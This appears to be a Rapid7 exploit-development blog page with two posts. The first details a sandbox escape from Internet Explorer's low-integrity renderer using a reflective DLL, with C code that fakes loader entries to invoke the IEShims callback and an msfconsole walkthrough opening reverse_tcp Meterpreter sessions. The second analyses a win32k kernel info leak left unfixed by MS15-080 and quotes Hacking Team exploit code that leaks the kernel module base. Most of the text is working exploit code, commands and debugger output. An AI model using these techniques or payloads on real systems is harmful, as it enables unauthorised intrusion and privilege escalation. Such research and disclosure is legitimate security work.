02a4c03c  76de8e97 kernel32!GetStdHandleStub
02a4c040  76de6ab4 kernel32!GetFileTypeImplementation
02a4c044  771b9ac5 ntdll!RtlDeleteCriticalSection
02a4c048  76dde2dd kernel32!GetStartupInfoWStub
02a4c04c  76ddd75a kernel32!GetModuleFileNameAStub
02a4c050  76ddc3c0 kernel32!HeapFree
02a4c054  76ddc422 kernel32!QueryPerformanceCounterStub
02a4c058  76ddd7b5 kernel32!GetCurrentProcessIdStub
02a4c05c  76ddd816 kernel32!GetSystemTimeAsFileTimeStub
02a4c060  76de6bc4 kernel32!GetEnvironmentStringsWStub
02a4c064  76de6bac kernel32!FreeEnvironmentStringsWStub
02a4c068  76df0651 kernel32!UnhandledExceptionFilter
02a4c06c  76ddf4fb kernel32!SetUnhandledExceptionFilter
02a4c070  76ddea21 kernel32!InitializeCriticalSectionAndSpinCountStub
02a4c074  76ddc266 kernel32!SleepStub
02a4c078  76ddd7a0 kernel32!GetCurrentProcessStub
02a4c07c  76dd2c05 kernel32!TerminateProcessStub
02a4c080  76ddd804 kernel32!TlsAllocStub
02a4c084  76ddf760 kernel32!TlsGetValueStub
02a4c088  76ddf783 kernel32!TlsSetValueStub
02a4c08c  76de5259 kernel32!TlsFreeStub
02a4c090  76ddccac kernel32!GetModuleHandleWStub
02a4c094  771a7790 ntdll!RtlEnterCriticalSection
02a4c098  771a7750 ntdll!RtlLeaveCriticalSection
02a4c09c  76deb915 kernel32!IsValidCodePageStub
02a4c0a0  76ddd90b kernel32!GetACPStub
02a4c0a4  76dd440a kernel32!GetOEMCPStub
02a4c0a8  76de8e7f kernel32!GetCPInfoStub
02a4c0ac  76de53ee kernel32!WriteFileImplementation
02a4c0b0  76ddef35 kernel32!GetModuleFileNameWStub
02a4c0b4  76dd50c1 kernel32!LoadLibraryExWStub
02a4c0b8  76dc92da kernel32!RtlUnwindStub
02a4c0bc  771b2dd6 ntdll!RtlAllocateHeap
02a4c0c0  771cff8f ntdll!RtlReAllocateHeap
02a4c0c4  76de532e kernel32!GetStringTypeWStub
02a4c0c8  76dc6e3a kernel32!OutputDebugStringWStub
02a4c0cc  771b9bec ntdll!RtlSizeHeap
02a4c0d0  76de528c kernel32!LCMapStringWStub
02a4c0d4  76dc852f kernel32!FlushFileBuffersImplementation
02a4c0d8  76ddbf19 kernel32!GetConsoleCP
02a4c0dc  76dec110 kernel32!GetConsoleMode
02a4c0e0  76e1fcf9 kernel32!SetStdHandleStub
02a4c0e4  76dcfbb2 kernel32!SetFilePointerExStub
02a4c0e8  76dd857d kernel32!WriteConsoleW
02a4c0ec  76dde868 kernel32!CloseHandleImplementation
02a4c0f0  76dde8a5 kernel32!CreateFileWImplementation
02a4c0f4  00000000
02a4c0f8  00000000














The Reflective DLL is, unfortunately, too stealthy here (what an irony! ). An obvious solution to this problem to would be to patch the DLL's IAT by ourselves. In order to do that, we need a list of the IE Shims to patch. Unfortunately, this would require a lot of maintenance in order to keep the list of hooks up to date, requiring changes for every Windows update.

 

A second and better strategy would be to allow Windows/IE to do the work for us. The first question we need to ask is, what IE does in order to get a module's IAT patched when it loads it? We can find a clue in the excellent paper by Mark Vicent Yanson "Diving Into IE 10's Enhanced Protected Mode Sandbox". According to this paper: "The shim mechanism is provided by the ieshims.dll module which sets up a callback that is called every time a DLL is loaded via the ntdll!LdrRegisterDllNotification() API". If you check the list of registered callbacks on NTDLL for a Low Priviliged iexplore process, the IESHIMS callback (IEShims!CShimBindings::_LdrNotificationCallback) is the first one:

 

0:006> dd ntdll!LdrpDllNotificationList L3
77237280  00419010 00419010 00300026
0:006> dd 00419010 L3
00419010  77237280 77237280 6c643b40
0:006> u 6c643b40 L1
IEShims!CShimBindings::_LdrNotificationCallback:
6c643b40 6a04            push    4











 

The main purpose of the callback is to verify the required shims for the new loaded library (with the help of CShimBindings::_GetNeededShims()), and fixup the entry point of the module on his LDR_DATA_TABLE_ENTRY. Here is the moment of patching the DNSAPI.dll LD_ENTRY_TABLE_ENTRY (still with the original entry point 0x74a063f9):


ModLoad: 749f0000 74a34000   C:\Windows\system32\DNSAPI.dll
Breakpoint 0 hit
eax=0000002d ebx=0027b0d0 ecx=6c6818a0 edx=00000003 esi=0033aa80 edi=0027af48
eip=6c643dcd esp=036bdb1c ebp=036bdb28 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
IEShims!CShimBindings::OnModuleLoaded+0xcd:
6c643dcd c7461c8029646c  mov     dword ptr [esi+1Ch],offset IEShims!CShimBindings::s_DllMainHook (6c642980) ds:0023:0033aa9c={DNSAPI!_DllMainCRTStartup (74a063f9)}
0:014> r esi
esi=0033aa80
0:014> dt ntdll!_LDR_DATA_TABLE_ENTRY 0033aa80
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7723788c - 0x33aa00 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x77237894 - 0x33aa08 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4d005c - 0x630069 ]
   +0x018 DllBase          : 0x749f0000 Void
   +0x01c EntryPoint       : 0x74a063f9 Void
   +0x020 SizeOfImage      : 0x44000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\system32\DNSAPI.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "DNSAPI.dll"
   +0x034 Flags            : 4
   +0x038 LoadCount        : 0
   +0x03a TlsIndex         : 0
   +0x03c HashLinks        : _LIST_ENTRY [ 0x7723a678 - 0x262ffc ]
   +0x03c SectionPointer   : 0x7723a678 Void
   +0x040 CheckSum         : 0x262ffc
   +0x044 TimeDateStamp    : 0x4ce7b7e6
   +0x044 LoadedImports    : 0x4ce7b7e6 Void
   +0x048 EntryPointActivationContext : (null)
   +0x04c PatchInformation : (null)
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x33aad0 - 0x33aad0 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x33aad8 - 0x33aad8 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x33aae0 - 0x33aae0 ]
   +0x068 ContextInformation : (null)
   +0x06c OriginalBase     : 0x6dc00000
   +0x070 LoadTime         : _LARGE_INTEGER 0x01d0e0d1`4f8116b0










 

After installing the instruction, the new entry point (0x6c642980) can be observed:

 

0:014> p
eax=0000002d ebx=0027b0d0 ecx=6c6818a0 edx=00000003 esi=0033aa80 edi=0027af48
eip=6c643dd4 esp=036bdb1c ebp=036bdb28 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
IEShims!CShimBindings::OnModuleLoaded+0xd4:
6c643dd4 c6474001        mov     byte ptr [edi+40h],1       ds:0023:0027af88=00
0:014> dt ntdll!_LDR_DATA_TABLE_ENTRY 0033aa80
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7723788c - 0x33aa00 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x77237894 - 0x33aa08 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4d005c - 0x630069 ]
   +0x018 DllBase          : 0x749f0000 Void
   +0x01c EntryPoint       : 0x6c642980 Void
   +0x020 SizeOfImage      : 0x44000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\system32\DNSAPI.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "DNSAPI.dll"
   +0x034 Flags            : 4
   +0x038 LoadCount        : 0
   +0x03a TlsIndex         : 0
   +0x03c HashLinks        : _LIST_ENTRY [ 0x7723a678 - 0x262ffc ]
   +0x03c SectionPointer   : 0x7723a678 Void
   +0x040 CheckSum         : 0x262ffc
   +0x044 TimeDateStamp    : 0x4ce7b7e6
   +0x044 LoadedImports    : 0x4ce7b7e6 Void
   +0x048 EntryPointActivationContext : (null)
   +0x04c PatchInformation : (null)
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x33aad0 - 0x33aad0 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x33aad8 - 0x33aad8 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x33aae0 - 0x33aae0 ]
   +0x068 ContextInformation : (null)
   +0x06c OriginalBase     : 0x6dc00000
   +0x070 LoadTime         : _LARGE_INTEGER 0x01d0e0d1`4f8116b0
0:014> u  0x6c642980 L1
IEShims!CShimBindings::s_DllMainHook:
6c642980 8bff            mov     edi,edi










 

Once the library is loaded, it's the address where the NTDLL loader code will transfer execution:

 

Breakpoint 1 hit
eax=00000000 ebx=00000001 ecx=036bdbbc edx=00000020 esi=036bdb24 edi=036bdbe0
eip=6c642980 esp=036bdb14 ebp=036bdb30 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
IEShims!CShimBindings::s_DllMainHook:
6c642980 8bff            mov     edi,edi
0:014> kb
ChildEBP RetAddr  Args to Child    
036bdb10 771b89d8 749f0000 00000001 00000000 IEShims!CShimBindings::s_DllMainHook
036bdb30 771c5c71 6c642980 749f0000 00000001 ntdll!LdrpCallInitRoutine+0x14
036bdc24 771c052e 00000000 7fa602ab 771a7c8a ntdll!LdrpRunInitializeRoutines+0x26f
036bdd90 771c2322 036bddf0 036bddbc 00000000 ntdll!LdrpLoadDll+0x4d1
036bddc4 75178bb1 00281104 036bde08 036bddf0 ntdll!LdrLoadDll+0x92
036bde00 75179044 00000000 00000000 00281104 KERNELBASE!LoadLibraryExW+0x1d3
036bde20 76ba3611 76d2d6c0 00000000 00000000 KERNELBASE!LoadLibraryExA+0x26










 

The IEShims!CShimBindings::s_DllMainHook method will patch the module IAT with the help of CShimBindings::ApplyShims() and finally call the original entry point:

 

Breakpoint 2 hit
eax=00000001 ebx=0027af48 ecx=74a063f9 edx=0027ba50 esi=036bdac4 edi=74a063f9
eip=6c642a9c esp=036bdab8 ebp=036bdb10 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
IEShims!CShimBindings::s_DllMainHook+0x11d:
6c642a9c ffd7            call    edi {DNSAPI!_DllMainCRTStartup (74a063f9)}










 

At this point you can observe how the required DNSAPI IAT entries have been pached and redirected to the IE Shims:

 

0:014> !dh DNSAPI -f


File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       4 number of sections
4CE7B7E6 time date stamp Sat Nov 20 05:58:30 2010


       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL


OPTIONAL HEADER VALUES
     10B magic #
    9.00 linker version
   37C00 size of code
    A000 size of initialized data
       0 size of uninitialized data
   163F9 address of entry point
    1000 base of code
         ----- new -----
749f0000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.01 operating system version
    6.01 image version
    6.01 subsystem version
   44000 size of image
     600 size of headers
   50F65 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
    12C8 [    1AF9] address [size] of Export Directory
   37998 [     1A4] address [size] of Import Directory
   3C000 [    4A58] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
   41000 [    26A4] address [size] of Base Relocation Directory
   38A14 [      38] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
   23E58 [      40] address [size] of Load Configuration Directory
     278 [     324] address [size] of Bound Import Directory
    1000 [     2C8] address [size] of Import Address Table Directory
   374BC [     100] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory


0:014> dps DNSAPI+1000 DNSAPI+1000+2C8
749f1000  76e79894 msvcrt!free
749f1004  76e79cee msvcrt!malloc
749f1008  76e9dc75 msvcrt!_XcptFilter
749f100c  76e7c151 msvcrt!_initterm
749f1010  76e7ad52 msvcrt!towlower
.
.
.
.
749f10bc  6c6431e0 IEShims!NS_GetProcAddressShim::APIHook_GetProcAddress
.
.
.


















 

So far so good! Next, can we reach IEShims!CShimBindings::_LdrNotificationCallback with our reflective DLL? Our first approach was to add a fake entry to the InMemoryOrderModuleList and then reuse LoadLibrary to reach the "IEShims!CShimBindings::_LdrNotificationCallback". Unfortunately, soon we discovered this was not sufficient to reach the point where the DLL notification callbacks are executed. As a second attempt, we tried to determine the address of the "IEShims!CShimBindings::_LdrNotificationCallback". In order to get the address of the callback, we used the following technique:

 

  1. Get the address of the export ntdll!LdrRegisterDllNotification
  2. From there, search for the address of the _LdrpDllNotificationList. This list saves the collection of registered callbacks. With IE, the first callback is the address of the "IEShims!CShimBindings::_LdrNotificationCallback". In order to implement a (hopefully) reliable search mechanism, we use the new entry in the list as a signature.

 

Screen Shot 2015-08-27 at 10.46.32 AM.png

 

The resulting code to disclose the pointer to the IEShims callback looks something like:

 

// Find a pointer to the IEshims!CShimBindings::_LdrNotificationCallback
static SIZE_T SearchLdrNotificationCallback()
{
  HMODULE ntdll = LoadLibraryA("ntdll.dll");
  FARPROC registerDllMethod = GetProcAddress(ntdll, "LdrRegisterDllNotification");
  PUCHAR searchPtr = (unsigned char *)registerDllMethod;
  UCHAR testByte = 0x00;
  SIZE_T pNotificationList = 0;
  SIZE_T pNotificationCallback = 0;
  for (int i = 0; i < 0x1000; i++) {
       if (searchPtr[i] == searchPtr[i + 5] + 4 &&
            searchPtr[i + 1] == searchPtr[i + 6] &&
            searchPtr[i + 2] == searchPtr[i + 7] &&
            searchPtr[i + 3] == searchPtr[i + 8]) {
            searchPtr = searchPtr + i;
            pNotificationList = *(SIZE_T *)searchPtr;
            break;
       }
       if (searchPtr[i] == searchPtr[i + 6] + 4 &&
            searchPtr[i + 1] == searchPtr[i + 7] &&
            searchPtr[i + 2] == searchPtr[i + 8] &&
            searchPtr[i + 3] == searchPtr[i + 9]) {
            searchPtr = searchPtr + i;
            pNotificationList = *(SIZE_T *)searchPtr;
            break;
       }
  }


  memcpy(&pNotificationCallback, (SIZE_T *)pNotificationList, sizeof(SIZE_T));
  pNotificationCallback += sizeof(SIZE_T) * 2;


  return pNotificationCallback;
}










 

By the way, if you have of a better way (not depending on any search) to disclose the IEShims!CShimBindings::_LdrNotificationCallback, we would love to know about it!

 

Once the address of the callback has been disclosed, we are ready to call it directly. As you recall, this call will modify the entry point on the LDR_DATA_TABLE_ENTRY for the notified library. So, we need to insert a new LDR_DATA_TABLE_ENTRY on the InMemoryOrderModuleList of the process being exploited. In order to understand better the process, here is a step-by-step description of what happens:

 

  • Create a new LDR_DATA_TABLE_ENTRY for the loaded reflective DLL.

 

static VOID CreateFakeModule(PMY_LDR_DATA_TABLE_ENTRY templateEntry, PVOID dllBase, PVOID entryPoint)
{
  fakeLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)malloc(sizeof(MY_LDR_DATA_TABLE_ENTRY));
  memcpy(fakeLdrEntry, templateEntry, sizeof(LDR_DATA_TABLE_ENTRY));
  fakeLdrEntry->DllBase = dllBase;
  fakeLdrEntry->EntryPoint = entryPoint;
  fakeLdrEntry->SizeOfImage = 0x1b000;
  fakeLdrEntry->FullDllName.pBuffer = L"WinRefl.dll";
  fakeLdrEntry->FullDllName.Length = wcslen(fakeLdrEntry->FullDllName.pBuffer) * 2;
  fakeLdrEntry->FullDllName.MaximumLength = fakeLdrEntry->FullDllName.Length + 2;
  fakeLdrEntry->BaseDllName.pBuffer = L"WinRefl.dll";
  fakeLdrEntry->BaseDllName.Length = wcslen(fakeLdrEntry->BaseDllName.pBuffer) * 2;
  fakeLdrEntry->BaseDllName.MaximumLength = fakeLdrEntry->BaseDllName.Length + 2;
}









 

  • Hook the LDR_DATA_TABLE_ENTRY into the InMemoryOrderLinks list of the attacked process:

 

staticVOID HookFakeModule(HINSTANCEhinstDLL, PVOIDep) {
  PentryPoint entryPoint = (PentryPoint)ep;
  _PPEB pPeb = (_PPEB)__readfsdword(0x30);

  LIST_ENTRY head = pPeb->pLdr->InMemoryOrderModuleList;
  // Make Backup to restore later
  headBackup = head;

  PMY_LDR_DATA_TABLE_ENTRY firstEntry = (PMY_LDR_DATA_TABLE_ENTRY)((BYTE *)head.Flink - (ptrdiff_t)8);
  CreateFakeModule(firstEntry, hinstDLL, entryPoint);

  // Insert the fake entry in the InMemoryOrderModuleList
  fakeLdrEntry->InMemoryOrderLinks.Flink = head.Flink;
  fakeLdrEntry->InMemoryOrderLinks.Blink = head.Flink->Blink;
  // Fix the list
  pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(fakeLdrEntry->InMemoryOrderLinks);
  pPeb->pLdr->InMemoryOrderModuleList.Flink = &(fakeLdrEntry->InMemoryOrderLinks);

  return;
}









 

  • Create a LDR_DLL_LOADED_NOTIFICATION_DATA structure for our Reflective DLL (so we can call the IEShims notification callback later).

 

staticVOID CreateFakeNotification(HINSTANCEhinstDLL)
{
  fakeNotification = (PLDR_DLL_LOADED_NOTIFICATION_DATA)malloc(sizeof(LDR_DLL_LOADED_NOTIFICATION_DATA));
  fakeNotification->DllBase = hinstDLL;
  fakeNotification->BaseDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR));
  fakeNotification->BaseDllName->pBuffer = L"WinRefl.dll";
  fakeNotification->BaseDllName->Length = wcslen(fakeNotification->BaseDllName->pBuffer) * 2;
  fakeNotification->BaseDllName->MaximumLength = fakeNotification->BaseDllName->Length + 2;
  fakeNotification->FullDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR));
  fakeNotification->FullDllName->pBuffer = L"WinRefl.dll";
  fakeNotification->FullDllName->Length = wcslen(fakeNotification->FullDllName->pBuffer) * 2;
  fakeNotification->FullDllName->MaximumLength = fakeNotification->FullDllName->Length + 2;
  fakeNotification->SizeOfImage = 0x1b000;
  fakeNotification->Flags = 0;
}









 

  • Disclose the address of IEShims!CShimBindings::_LdrNotificationCallback as explained before, and call it directly.

 

Once the callback is executed successfully, we should be able to retrieve the address of the CShimBindings::s_DllMainHook from the patched entry point in our crafted LDR_DLL_LOADED_NOTIFICATION_DATA. Good enough! Now we call CShimBindings::s_DllMainHook by ourselves, allowing IEShims to:

  1. patch our reflective DLL IAT and
  2. call our reflective DLL entry point again!


At that moment we should be able to exploit the policy escalation, escaping the sandbox and living happily as a Medium Integrity process!

 

As a proof of concept, the Metasploit module ms15_004_tswbproxy for CVE-2015-0016 has been updated to use a Reflective DLL. The Pull Request with all the code can be found here: Update ms15_004_tswbproxy to use a Reflective DLL by jvazquez-r7 · Pull Request #5896 · rapid7/metasploit-framework · Gi…. The changes are already in master, so you can sync your metasploit-framework to get them!

 

You can test all the above by yourself in the next easy way:


  • Install a target. A Windows 7 SP1 machine with IE (and not MS15-004) should work.
  • Get a Meterpreter session on the target. It doesn't matter how you get the session really. For this example, I have embedded a meterpreter/reverse_tcp payload into an EXE and used the exploit/multi/handler to retrieve a new session.

 

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > rexploit
[*] Reloading module...


[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (885806 bytes) to 172.16.158.131
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.131:51041) at 2015-08-26 15:28:01 -0500









 

  • Migrate the session to an IE renderer Low Privileged process.

 

meterpreter > migrate 3500
[*] Migrating from 2708 to 3500...
;[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...









 

  • Use the ms15_004_tswbproxy on the session and get a new session.

 

msf exploit(handler) > use exploit/windows/local/ms15_004_tswbproxy
msf exploit(ms15_004_tswbproxy) > set session 1
session => 1
msf exploit(ms15_004_tswbproxy) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms15_004_tswbproxy) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(ms15_004_tswbproxy) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Checking target...
[*] Checking the Process Integrity Level...
[*] Storing payload on environment variable...
[*] Exploiting...
[*] Injecting exploit into 3500...
[*] Payload injected. Executing exploit...
[*] Sending stage (885806 bytes) to 172.16.158.131
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.131:51042) at 2015-08-26 15:28:44 -0500

meterpreter > getpid
Current pid: 3232









 

  • The new Meterpreter session should live in a Medium Integrity process!

 

8df05b76-4c09-11e5-9e99-e10b38a4ce90.png

And that's all for today We hope you enjoyed the reading and found the information here useful in order to write your own policy abuses with Metasploit!

juan.vazquez

Revisiting an Info Leak

Posted by juan.vazquez Employee Aug 14, 2015

Today an interesting tweet from Greg Linares (who has been posting awesome analysis on twitter lately!) came to our attention, concerning the MS15-080 patch:

 

Screen Shot 2015-08-13 at 2.56.26 PM.png

This patch (included in MS15-080) may have been intended stop one of the Window kernel bugs exploited by Hacking Team. But, after our analysis, it appears that there is still an information leak vulnerability present after the patch is applied.

 

Since the patch is related to win32k!NtGdiGetTextMetricsW, we suspected it could be for the initial info leak exploited in vlad902/hacking-team-windows-kernel-lpe · GitHub:

 

// Leak the base address of `win32k.sys`. This infoleak is slightly different from
// the standalone infoleak because we need to handle the position-independent nature
// of this exploit.
ULONGLONG win32k_infoleak() {
    // Declaring functions that we want to use (see FunctionSignatures.h).
    FuncCreateCompatibleDC MyCreateCompatibleDC;
    FuncDeleteDC MyDeleteDC;

    ULONGLONG win32k_base_addr = 0;
    HDC hdc;

    // Get function addresses.
    MyCreateCompatibleDC = (FuncCreateCompatibleDC)GetProcAddressWithHash(0xA5314068);
    MyDeleteDC = (FuncDeleteDC)GetProcAddressWithHash(0x63B566A2);

    hdc = MyCreateCompatibleDC(NULL);
    if (hdc == NULL) {
        return NULL;
    }

    // Leak the address and retrieve it from `buffer`.
    MyGetTextMetricsW(hdc, INFOLEAK_BUFFER);

    DWORD hi = *(DWORD *)(INFOLEAK_BUFFER + 0x38 + 4);  // High DWORD of leaked address
    DWORD lo = *(DWORD *)(INFOLEAK_BUFFER + 0x38);      // Low DWORD of leaked address

    // Check: High DWORD should be a kernel-mode address (i.e.
    // 0xffff0800`00000000). We make the check stricter by checking for a
    // subset of kernel-mode addresses.
    if ((hi & 0xfffff000) != 0xfffff000) {
        return NULL;
    }

    // Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using
    // the following computation.
    win32k_base_addr = ((ULONGLONG)hi << 32) | lo;

    // Adjust for offset to get base address of `win32k.sys`.
    win32k_base_addr -= 0x0003cf00;

    // Check: Base address of `win32k.sys` should be of the form
    // 0xFFFFFxxx`00xxx000.
    if ((win32k_base_addr & 0xff000fff) != 0) {
        return NULL;
    }

    MyDeleteDC(hdc);
    return win32k_base_addr;
}













 

The important line to retrieve the win32k.sys address is:

 

    // Leak the address and retrieve it from `buffer`.
    MyGetTextMetricsW(hdc, INFOLEAK_BUFFER);













 

This will invoke the NtGdiGetTextMetricsW syscall, whose purpose, according to the msdn documentation, is to fill "the specified buffer with the metrics for the currently selected font.". Filling a buffer with metrics coming from the kernel definitely sounds interesting .

 

Here is the prototype for the user space API:

 

BOOL GetTextMetrics(
  _In_  HDC          hdc,
  _Out_ LPTEXTMETRIC lptm
);










 

And here is the syscall prototype, according to ReactOS:

 

W32KAPI BOOL APIENTRY NtGdiGetTextMetricsW(IN HDC hDC, OUT TMW_INTERNAL * pUnsafeTmwi, IN ULONG cj)













 

Where:

  • hDC: is a handle to a device context (this matches with the user space signature).
  • pUnsafeTmwi: according to the userspace API, should be a pointer to a TEXTMETRICSW structure, but according to the syscall definition by ReactOS the kernel should receive a TMW_INTERNAL pointer. By the way this is the destination in user space where the metrics will be stored.
  • cj: is the size of the destination user space buffer pUnsafeTmwi (destination buffer).


The first thing that calls our attention is the third parameter. Can we provide an arbitrary length to copy? No, we can not get more than 0x44 bytes, according to the next NtGdiGetTextMetricsW check:


.text:FFFFF97FFF00754A cmp     r8d, 44h
.text:FFFFF97FFF00754E jb      loc_FFFFF97FFF

.text:FFFFF97FFF0075DF loc_FFFFF97FFF0075DF:
.text:FFFFF97FFF0075DF mov     eax, edx
.text:FFFFF97FFF0075E1 add     rsp, 70h
.text:FFFFF97FFF0075E5 pop     rbx
.text:FFFFF97FFF0075E6 retn













 

Next, we are interested in the second argument, specially the differences between the user space definition and the kernel prototype (at least in the prototype used by ReactOS). According to the TEXTMETRICW definition, 0x44 bytes is too much data to copy, since the structure size only has 0x39 bytes of valid data (even with the padding bytes inserted by the C compiler).

 

typedef struct tagTEXTMETRICW
{
    LONG        tmHeight;
    LONG        tmAscent;
    LONG        tmDescent;
    LONG        tmInternalLeading;
    LONG        tmExternalLeading;
    LONG        tmAveCharWidth;
    LONG        tmMaxCharWidth;
    LONG        tmWeight;
    LONG        tmOverhang;
    LONG        tmDigitizedAspectX;
    LONG        tmDigitizedAspectY;
    WCHAR       tmFirstChar;
    WCHAR       tmLastChar;
    WCHAR       tmDefaultChar;
    WCHAR       tmBreakChar;
    BYTE        tmItalic;
    BYTE        tmUnderlined;
    BYTE        tmStruckOut;
    BYTE        tmPitchAndFamily;
    BYTE        tmCharSet;
} TEXTMETRICW, *PTEXTMETRICW, NEAR *NPTEXTMETRICW, FAR *LPTEXTMETRICW;














Reviewing the NtGdiGetTextMetricsW assembly code before the patch, it copies the contents of the TEXTMETRICW to a kernel local variable on the stack, with the help of GrGetTextMetricsW:

 

.text:FFFFF97FFF007554 lea     rdx, [rsp+78h+var_58] ; rdx comes from the stack
.text:FFFFF97FFF007559 call    GreGetTextMetricsW














It will then copy 0x44 bytes from this kernel space memory to the user space buffer sent with the syscall:


.text:FFFFF97FFF00758D loc_FFFFF97FFF00758D:
.text:FFFFF97FFF00758D mov     rax, [rsp+78h+var_58]
.text:FFFFF97FFF007592 mov     [rbx], rax
.text:FFFFF97FFF007595 mov     rax, [rsp+78h+var_50]
.text:FFFFF97FFF00759A mov     [rbx+8], rax
.text:FFFFF97FFF00759E mov     rax, [rsp+78h+var_48]
.text:FFFFF97FFF0075A3 mov     [rbx+10h], rax
.text:FFFFF97FFF0075A7 mov     rax, [rsp+78h+var_40]
.text:FFFFF97FFF0075AC mov     [rbx+18h], rax
.text:FFFFF97FFF0075B0 mov     rax, [rsp+78h+var_38]
.text:FFFFF97FFF0075B5 mov     [rbx+20h], rax
.text:FFFFF97FFF0075B9 mov     rax, [rsp+78h+var_30]
.text:FFFFF97FFF0075BE mov     [rbx+28h], rax
.text:FFFFF97FFF0075C2 mov     rax, [rsp+78h+var_28]
.text:FFFFF97FFF0075C7 mov     [rbx+30h], rax
.text:FFFFF97FFF0075CB mov     rax, [rsp+78h+var_20]
.text:FFFFF97FFF0075D0 mov     [rbx+38h], rax
.text:FFFFF97FFF0075D4 mov     eax, [rsp+78h+var_18]
.text:FFFFF97FFF0075D8 mov     [rbx+40h], eax














Checking the patch spotted by Greg Linares, it is initializing the kernel local variable used by win32k!NtGdiGetTextMetricsW to hold the copy of the TEXTMETRICW contents:

 

.text:FFFFF97FFF007540                 xor     edx, edx        ; Val
.text:FFFFF97FFF007542                 cmp     r8d, 44h
.text:FFFFF97FFF007546                 jb      loc_FFFFF97FFF0075E8
.text:FFFFF97FFF00754C                 lea     r8d, [rdx+44h]  ; Size
.text:FFFFF97FFF007550                 lea     rcx, [rsp+78h+Dst] ; Dst
.text:FFFFF97FFF007555                 call    memset












 

Unfortunately, the problem isn't only NtGdiGetTextMetricsW not initializing the local variable. It is also copying to user space more data than the TEXTMETRICW contents. If you keep tracing the code that fills the kernel local variable, you will reach win32k!bGetTextMetrics. There, 0x44 bytes are again copied from kernel dynamic memory to the local kernel buffer (pointed by r8):

 

.text:FFFFF97FFF013BC5                 mov     r10, [r9+2B8h]
.text:FFFFF97FFF013BCC                 test    r10, r10
.text:FFFFF97FFF013BCF                 jz      loc_FFFFF97FFF013C5B
.text:FFFFF97FFF013BD5                 mov     rax, [r10]
.text:FFFFF97FFF013BD8                 mov     r9d, 0FFh
.text:FFFFF97FFF013BDE                 mov     [r8], rax
.text:FFFFF97FFF013BE1                 mov     rax, [r10+8]
.text:FFFFF97FFF013BE5                 mov     [r8+8], rax
.text:FFFFF97FFF013BE9                 mov     rax, [r10+10h]
.text:FFFFF97FFF013BED                 mov     [r8+10h], rax
.text:FFFFF97FFF013BF1                 mov     rax, [r10+18h]
.text:FFFFF97FFF013BF5                 mov     [r8+18h], rax
.text:FFFFF97FFF013BF9                 mov     rax, [r10+20h]
.text:FFFFF97FFF013BFD                 mov     [r8+20h], rax
.text:FFFFF97FFF013C01                 mov     rax, [r10+28h]
.text:FFFFF97FFF013C05                 mov     [r8+28h], rax
.text:FFFFF97FFF013C09                 mov     rax, [r10+30h]
.text:FFFFF97FFF013C0D                 mov     [r8+30h], rax
.text:FFFFF97FFF013C11                 mov     rax, [r10+38h]
.text:FFFFF97FFF013C15                 mov     [r8+38h], rax
.text:FFFFF97FFF013C19                 mov     eax, [r10+40h]
.text:FFFFF97FFF013C1D                 mov     [r8+40h], eax












 

Checking the ReactOS code, we see that TEXTMETRICW is part of a longer structure, named TMW_INTERNAL on ReactOS:

 

/* Font Structures */
typedef struct _TMDIFF
{
    ULONG cjotma;
    CHAR chFirst;
    CHAR chLast;
    CHAR ChDefault;
    CHAR ChBreak;
} TMDIFF, *PTMDIFF;

typedef struct _TMW_INTERNAL
{
    TEXTMETRICW TextMetric;
    TMDIFF Diff;
} TMW_INTERNAL, *PTMW_INTERNAL;











 

